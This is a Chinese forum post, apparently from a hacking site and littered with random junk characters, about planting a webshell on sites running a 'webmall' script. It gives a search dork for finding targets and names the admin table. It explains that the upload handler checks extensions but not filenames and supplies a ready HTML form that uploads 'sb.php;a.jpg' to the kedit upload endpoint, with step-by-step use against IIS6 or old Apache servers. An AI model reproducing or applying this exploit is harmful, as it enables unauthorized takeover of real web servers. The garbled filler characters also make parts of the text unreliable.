关键字:inurl:webmall/detail.php?id
- }* t" q* E' n* K* [2 n1 ~/ h- y5 o1 t/ a1 f) i6 }& f
数据表:pwn_base_admin3 b) @7 B; q+ r" q. X3 g# [
. ]! M# g" L" T9 d T2 y% d关于拿shell, X( \1 t3 e: p: s8 ~, O
- k) w8 E9 o$ e9 H% q, ?- S0 U
首先登录后台admin.php2 a: Z* C- w9 ]( n
6 v0 \& n o# B
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。! m/ M/ l% m" Z% D
换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg
8 a3 c2 C: R; }5 y- E" P然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的, X3 ~ e. ] j
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php">
0 m9 Y. Z2 e6 b4 S u<input type="text" name="fileName" value="sb.php;a.jpg" /> 8 R2 K' e( z8 A( j* U }/ x
<input type="hidden" name="attachPath" value="news/pics/" />
7 ?8 v" o2 y9 K2 r8 G( I<input type="file" name="fileData" size="14" /></td>
2 N2 v+ n( L! U% h<input type="submit" name="button" value="确定" />
4 E% R: a. a0 K3 w</form>2 P! K {0 h8 u/ j) @
6 m H( x3 C/ C0 y5 `& k/ h8 c首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。5 w9 l& n1 T1 e! C J; H6 c7 f4 @
* I' _) v3 ?# _0 S t
|